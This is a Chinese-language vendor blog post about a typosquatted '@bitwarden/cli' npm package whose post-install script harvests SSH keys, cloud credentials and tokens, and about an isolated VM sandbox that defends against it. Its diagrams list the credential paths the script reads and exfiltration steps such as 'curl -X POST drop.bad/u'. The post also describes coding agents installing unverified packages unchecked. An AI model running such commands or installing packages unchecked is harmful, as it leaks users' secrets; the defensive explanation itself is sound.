返回所有文章
發佈於 · 作者 Renaud Deraison

您的編碼代理人裝上了那個假 Bitwarden

4 月 22 日,有人把一個叫 @bitwarden/[email protected] 的惡意 npm 套件上傳到 npm——這是個 typosquat 抄襲套件,會把任何執行它的機器上的 SSH 金鑰、AWS/Azure/GCP 憑證、GitHub token、npm 發布 token 與 kubeconfig 一起搜刮走。它鎖定的,正是當今編碼代理人不假思索就在做的事:npm 回什麼就裝什麼。本文展示這條攻擊鏈的長相,以及代理人在 Bromure 的 VM 裡執行、而不是在您的筆電上時,會有什麼不同。

上週有人把一個名為 @bitwarden/[email protected] 的套件上傳到 npm。真正的 Bitwarden CLI 沒事。假的那個是 typosquat,附帶 一段 post-install 腳本,會讀開發者的 SSH 金鑰、AWS 憑證、 npm token 與 kubeconfig,然後把這一束 POST 到某人租來的 IP 段裡的伺服器。這裡頭埋著一個笑話——一個名義上的密碼 管理員的真正工作是偷憑證——但更有用的觀察是:在 2026 年, 最有可能去打 npm install @bitwarden/cli 的人已經不是人類 開發者了。是編碼代理人——它們會把套件管理員回傳的東西原封 不動裝下去。

好。先用三句話把消息講完。

2026 年 4 月 22 日,有人在 npm 上以 @bitwarden/[email protected] 的名字發布了一個套件。根據 Unit 42 的分析,這個套件是 一個 typosquat,被歸屬於一個自稱 TeamPCP 的團體——三週前 Datadog 已經把它和 LiteLLM 的 PyPI 入侵連起來 過——它的 post-install 腳本會掃過主機,搜刮 AWS、Azure 與 GCP 的憑證、npm 發布 token、GitHub token、SSH 金鑰與 kubeconfig,打包好之後送到攻擊者的基礎設施。OX Security 把同一事件放進更大的脈絡,稱之為 Shai-Hulud 的第三次降臨——這是一條自我複製的供應鏈 蠕蟲的最新一筆,自 2025 年 9 月起已經啃掉了數千個 npm 套件,看不出有要停下來的意思。

在談該怎麼辦之前,先把那個笑話放開:這個假 Bitwarden CLI 某種意義上正在做一個 Bitwarden CLI做的事。 它的工作就 是知道很多憑證。只是這次的憑證,不是使用者註冊時想要它管 的那批。算了。攻擊本身機制上沒什麼意思。有意思的、也讓這 件事值得寫一篇的,是誰會去裝它。

一個沒人再打的套件。

想要真正 Bitwarden CLI 的人類開發者,通常會去 bitwarden.com/help/cli,讀一遍 文件,從一個 TLS 憑證鏈能追到熟悉廠商的頁面複製安裝指令、 然後敲下去。她也可能打錯——typosquatting 整個前提就是這 個——但她得在匆忙、視線不好且運氣不好的狀態下。

編碼代理人不匆忙,也不視線不好,也不運氣不好。它們是更糟 的東西:自信地搞錯,速度是機器級的。您要 Claude Code「把 Bitwarden 接上,讓部署腳本能從保險庫拿出 API key」,模型 ——讀過一百萬篇寫著 npm install -g @bitwarden/cli 的部 落格文章的模型——就敲了 npm install -g @bitwarden/cli。 套件管理員回了某個@bitwarden/cli 的套件。沒有人類 在迴圈裡看 publisher 欄位。沒有 bitwarden.com 的憑證鏈 要檢查,因為 npm 就是憑證鏈。事實上,代理人沒有任何理由 不去跑套件附帶的 post-install 腳本,因為那就是 npm 套件 做的事。

開發者筆電——代理人跑的任何東西都看得到主機檔案系統編碼代理人$ claude> 把 bitwarden cli 接上tool: bashnpm i -g @bitwarden/clinpm 註冊處@bitwarden/cli 2026.4.0 ← typosquat publisher: not-bitwarden scripts.postinstall: yespost-install 讀取主機~/.ssh/id_ed25519~/.aws/credentials~/.kube/config~/.npmrc // _authToken$GH_TOKEN~/.config/gcloud/~/.azure/tar | aes-256 | rsa-4096POST https://…/drop全部是真的、全部讀得到攻擊者已得手通通有外傳代理人從來沒注意到的事名為 @bitwarden/cli 的套件,依規格本來就有權利讀使用者家目錄、呼叫一個 URL。這條鏈裡沒有任何 npm 或 Node 的弱點。它就是文件化過的契約。
這條鏈在普通開發者筆電上的長相,由代理人來打字。代理人要 `@bitwarden/cli`。註冊處回給他那個 typosquat。post-install 腳本讀 ~/.aws、~/.ssh、~/.npmrc、$GH_TOKEN、~/.kube/config——也就是代理人本來就需要拿到才能變得有用的那一切——然後 POST 到攻擊者的基礎設施。整條鏈沒有任何反常的東西,這就是 npm post-install 鉤子文件化過的行為,被套用到一個人類本來就不會去檢查的套件上。

這張圖要注意的是:沒有任何一段是 bug。npm 套件本來就允許 夾帶 postinstall 腳本。這些腳本以呼叫 npm 的使用者的權限 執行。一個以使用者身分執行的腳本能讀到使用者能讀到的一切。 那就包括——而這就是當代理人在打字時會變成問題的部分—— ~/.ssh/id_ed25519~/.aws/credentials~/.npmrc 裡那 個能讓您重新發布別人套件的 npm 發布 token、坐在您 shell 裡的 GitHub token、那個讓您能對正式環境跑 kubectl exec 的 kubeconfig。您不是為了代理人才把這些東西放在那裡,是為了 您自己放的。代理人現在借您的手在用。

如果這是 2018 年我推銷一樣的問題,到這裡我會說「所以您應該 用一個沙箱」。您也會理直氣壯地說「沙箱我聽過」。然後我們兩 個就一起去喝咖啡了。我之所以在 2026 年寫這篇,是因為那個 真正把 @bitwarden/cli 場景變成不痛不癢非事件的沙箱,和過 去十年裡被推銷的那種沙箱長得有一點不一樣——而那一點不一樣 就是整件事的重點。

真正的修法長這樣。

假設這套東西不在您的 Mac 上跑,編碼代理人是在一台 Linux VM 裡跑,這台 VM共享您指給它看的那個專案資料夾。再假 設這台 VM 的 ~/.aws/credentials 是個佔位字串——一個語法上 合法、但實際上沒有真東西的 AWS 憑證檔——~/.npmrc$GH_TOKEN 與其餘一切也比照辦理。再假設 VM 裡根本就沒有 ~/.ssh/id_ed25519,只有一個被轉發進去的 ssh-agent socket, 真正的金鑰活在邊界主機側的 macOS 鑰匙圈裡。最後再假設主機 側有一個小代理,會在連線上認出這些佔位 token,然後把它們 換成真的——但只在白名單端點上,且只在請求真的離開虛擬機監 控器(hypervisor)的那一刻才換。

現在,把 @bitwarden/cli 的 post-install 腳本放在這台 VM 裡跑。 它做的事和之前完全一樣。它讀 ~/.aws/credentials。讀 ~/.npmrc。讀 $GH_TOKEN。它甚至會去讀 ssh-agent socket 檔案的內容,但那是個 Unix domain socket,所以是零位元組。 它把這些東西打包,用硬編碼的 RSA-4096 金鑰加密,POST 到它 的 drop 伺服器。

drop 伺服器收到的是一份在密碼學上完全合規的、佔位字串組成 的大禮包。

BROMURE VM (Linux 客機) ——post-install 腳本能看到的編碼代理人$ claude> 把 bitwarden 接上tool: bashnpm i -g @bw/cli↳ postinstall 在跑檔案系統 & ENV — 只有佔位~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519No such file or directory~/.ssh/agent.socksocket → 主機鑰匙圈外傳企圖tar -cf bundle …openssl rsautl -encryptcurl -X POST drop.bad/upayload: 佔位 加密了,但都是佔位監控器(Hypervisor)— 憑證代理macOS 主機 — 真正的秘密,從未越過邊界真正的憑證保險庫macOS 鑰匙圈id_ed25519 (私鑰)~/.aws/credentialsAKIA… (真)~/.config/gh/hosts.ymlghp_real…~/.kube/configprod bearer (真)~/.npmrcnpm_… (真發布)代理 — 在出口處把佔位換成真值git push → api.github.com Authorization: ghp_stub_… ⇒ ghp_real_…aws s3 ls → *.amazonaws.com AKIA-stub ⇒ AKIA-real (sigv4 重新簽名)drop.bad/u: 不在白名單 ⇒ 佔位原樣出去佔位出去,沒有命中代理外傳請求被允許離開。只是裡面沒有任何有用的東西。
同一條鏈,發生在 Bromure VM 裡。代理人跑同樣的安裝。post-install 腳本做同樣的掃描。它在 ~/.aws、~/.npmrc 與 $GH_TOKEN 找到的憑證,是 VM 本來就準備好要附帶的佔位字串。磁碟上沒有 SSH 金鑰,是因為磁碟上本來就沒有 SSH 金鑰;只有一個被轉發進來的 ssh-agent socket,真正的金鑰素材活在另一邊——監控器對面 macOS 的鑰匙圈裡。外傳 POST 出去了,加密了,裡面裝著佔位字串。

圖裡有幾個值得放慢看的細節,因為這就是這個設計和容器的差別。

第一是這個代理是出向的用白名單的在連線上。它不是 VM 裡面的 sidecar。VM 從來沒有以任何可觸及的形式拿到真正的 GitHub token。沒有可以 dump 的環境變數,沒有可以讀的檔案, 沒有可以 scrape 的記憶體頁。代理人執行 git push 時,請求 帶著 Authorization 標頭裡的佔位離開 VM;主機上的代理認出 佔位,把您真正的 ghp_… 換進去,把請求轉發出去,把回應轉 發回來。當惡意軟體執行 curl -X POST drop.bad/u,代理去查 drop.bad,在白名單裡查不到,於是它要嘛把這條請求丟掉,要 嘛——視 VM 的出口政策——原樣轉發,裡面裝著惡意軟體抓到的那 個佔位。任何一種情況下,真正的憑證都在邊界另一側——在惡意 軟體唯一在看的那個瞬間。

第二是 SSH 金鑰在任何意義上都不是 VM 裡。ssh-agent 跑 在 macOS。它的私鑰住在 macOS 鑰匙圈。Bromure 把 agent 的 socket 轉發進去——和 OpenSSH 從 90 年代起就在做的方式相同, 理由也相同。在 VM 裡,sshgit 該怎麼用就怎麼用;底層 的簽章作業發生在主機側,在 VM 內跑的惡意軟體看不到。一個 做 cat ~/.ssh/id_ed25519 的套件會拿到 No such file or directory, 然後回家。

為什麼容器到不了這裡。

聽我說。這時候會有一個合理的反對意見:「好,但 Docker 用了 十年了,可以把代理人塞在一個容器裡跑,那不就好了嗎?」本 來會好。除了兩個無聊的理由。

第一個是,要讓一個容器對編碼代理人實際上會做的那些事—— git pushgh pr createaws s3 cpnpm publishkubectl exec——有用,您最後會把 ~/.ssh~/.aws/credentials~/.npmrc 與您的 GitHub token 掛 容器裡。到這一步,post-install 腳本就 cat ~/.ssh/id_ed25519 拿到真檔案。容器沒有憑證代理;它有的是 bind mount。bind mount 正是惡意軟體在找的那塊軟肋。

第二個是,在 macOS 上,那個容器無論如何都跑在一台隱藏的 Linux VM 裡。Docker Desktop 自帶一個;OrbStack 自帶一個; Colima 自帶一個。VM 的成本——磁碟、記憶體、開機時間——您已 經在付了。在 macOS 上,2026 年用容器的論點,不是「比較輕 量」,只是「我習慣了這樣」。Bromure 把中間那層拿掉。只有 一台 VM。它看得見、可設定、屬於您。憑證代理與 ssh-agent 轉發,是容器模型從來就沒講清楚過的兩塊。

您本來就不會去讀的那一面牆,trace 把它接住了。

關於一個代理人裝了沒人要它裝的東西,還有一件事值得說:很多 時候沒人發現。代理人跑了 npm install,代理人收到一面牆 的輸出,代理人在聊天裡把「我裝好了 Bitwarden CLI 並設定好了」 壓縮成一句話,您就翻過去了。post-install 腳本就在那面牆中 間跑。您沒讀那面牆。沒人讀那面牆。

Bromure 的會話 tracer 把那面牆接住了——每一個 prompt、每一 個工具呼叫、每一行 shell 指令、每一次檔案寫入、每一個離開 碼——並讓您在會話結束之後可以滾回去看。「找出代理人今天跑 過的每個 npm install」是一個 grep。「代理人有沒有跑過 任何在專案資料夾外寫檔案的工具?」也是一個 grep。下一個 @bitwarden/[email protected] 出現時——它一定會出現——trace 會 告訴您哪些會話碰過它、當時掛載了哪些專案資料夾。您不用從 記憶或不完整的捲動回放裡重建。會話本身就是稽核日誌。

這能接住什麼

一個在 Bromure VM 裡安裝 @bitwarden/cli(或 litellmaxios,或下一個)的編碼代理人,去掃憑證的時候,找到 的是一個空的 SSH 目錄,與一串佔位字串組成的鑰匙圈。 post-install 腳本跑了。外傳 POST 出去了。包裝出去的是 佔位。爆炸半徑就到 VM 為止。

重設讓什麼變成非事件

如果惡意軟體除了偷憑證還做了別的事——crontab 裡的持久 化、被下毒的 ~/.bashrc、客機裡 launchd 的對應物——這 些東西沒有一個能撐過下一次 bromure reset。您不用找出 那些持久化;您只要把它丟掉。三秒鐘,新核心,繼續寫程式。

這接不住什麼

一個呼叫您已經放進白名單的真後端的套件——例如一個用您 真正的 GitHub token 去刪掉您自己儲存庫的套件——會在 線上拿到真 token,這是設計如此,因為 git push 本來就 這樣運作。防禦靠的是一份小小的出口白名單與一份會話 trace,不是無所不知。落在專案資料夾裡的傷害仍然會落在 專案資料夾裡。

還是需要一個人類

Bromure 沒辦法阻止一個編碼代理人被勸說去提交壞程式碼。 邊界保護的是您機器上的憑證;它不會審查 diff。請讀 diff。trace 讓您比較知道該讀哪些 diff。

最後一件事。

這個故事還有一個版本,裡面的教訓是「稽核您的相依套件」。 另一個版本,教訓是「不要再用 npm 了」。兩種版本都存在, 兩種都有部分道理,但這一季在您的團隊裡,兩種都不會發生。

這一季在您團隊裡真的會發生的版本是:代理人會裝上一個它 不應該裝的東西,因為代理人會裝很多東西,而它裝的長尾裡某 處,會有一個是上週三某個自稱 TeamPCP、Shai-Hulud,或下一 波自稱什麼的人傳上去的。問題就只是:當這件事發生時, post-install 腳本找到的,是秘密——還是一面牆。

Bromure Agentic Coding 就是那面牆。它還 是免費的、開放原始碼的,今天就推出。換您出招了。